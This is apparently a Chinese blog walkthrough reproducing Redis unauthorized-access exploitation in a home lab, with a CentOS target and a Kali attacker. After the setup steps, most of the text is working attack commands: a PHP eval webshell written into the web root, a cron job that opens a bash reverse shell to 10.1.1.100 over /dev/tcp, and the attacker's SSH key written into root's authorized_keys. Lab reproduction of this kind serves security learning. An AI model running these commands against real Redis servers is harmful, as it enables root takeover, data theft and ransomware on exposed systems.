Redis未授权漏洞复现
一、简介
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
漏洞介绍
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。
漏洞产生条件 (1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网; (2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
二、漏洞环境搭建
靶机:CentOS-7-x86_64-Everything-2009.iso
攻击机:Kali Linux 2022.3-vmware-amd64
Redis: redis-3.2.0
1.靶机下载redis
以root用户登陆下载
下载:wget http://download.redis.io/releases/redis-3.2.0.tar.gz
解压:tar xzf redis-3.2.0.tar.gz
ll 显示当前目录内容。
cd redis-3.2.0
编译: make
cd src
cp redis-server /usr/bin 将redis-server 拷贝至/bin
cp redis-cli /usr/bin 将 redis-cli 拷贝至/bin
cd .. 返回上一级目录
cp redis.conf /etc 将redis.conf 拷贝至 /etc
redis-server /etc/redis.conf 开启redis服务
2.kali下载reids
新建文件夹: mkdir redis
下载:wget http://download.redis.io/releases/redis-3.2.0.tar.gz
解压:tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
编译:make
连接靶机:redis-cli -h ip
-h 连接指定host
" class="reference-link">报错无法连接
关闭靶机防火墙
systemctl stop firewalld.service //关闭防火墙
systemctl disable firewalld.service //关闭防火墙自启动Redis的配置更改
找到配置文件: redis.conf并编辑vi redis.conf
(1)protected-mode yes 设置成no #允许远程访问
(2)bind 127.0.0.1 这一行给#注释掉 #允许其他网段访问
连接靶机:redis-cli -h ip
1.Redis未授权写入webshell
记得启动apache!!!
systemctl start httpd.service #启动apache服务
config set dir /var/www/html #设置数据库备份文件的放置路径
config set dbfilename shell.php #设置备份文件的文件名
set x “\r\n\r\n<?php @eval($_POST[‘cmd’]);?>\r\n\r\n” #添加一个键”x”,值为一句话木马
save #保存
#set x “\r\n\r\n<?php @eval($_POST[‘cmd’]);?>\r\n\r\n”
# ”\r\n\r\n” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
攻击机Kali浏览器访问ip/shell.php
可以看到内容
蚁剑连接
2.Redis未授权写定时任务反弹shell
01.在Kali使用nc开启监听
nc -lvvp 666602.连接redis,写入定时反弹shell
redis-cli -h IP
输入以下内容:
set xx “\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n”
#前后加入’\n\n’换行以确保写入的计划任务可以被正常解析,每分钟执行一次.
config set dir /var/spool/cron #设置备份路径
config set dbfilename root #设置备份文件名
save #保存
03.kali打开监听
nc -lvvp 6666
一分钟后得到目标shell
可以执行命令
- Redis未授权写SSH公钥获得shell
01.在kali上生成ssh公钥
ssh-keygen -t rsa
02.将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合
(echo -e “\n\n”; cat ~/.ssh/id_rsa.pub; echo -e “\n\n”) > /tmp/foo.txt
03.将foo.txt写入靶机(使用redis-cli -h ip命令连接靶机,写入文件)
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey04.连接Redis
redis-cli -h 10.1.1.200 -p 637905.设置备份文件路径
config set dir /root/.ssh/06.设置上传公钥的备份文件名字为authorized_keys
config set dbfilename “authorized_keys”save #保存
07.远程连接目标机器
ssh root@IP -i /root/.ssh/id_rsa
以上.
如有问题,欢迎留言。
还没有评论,来说两句吧...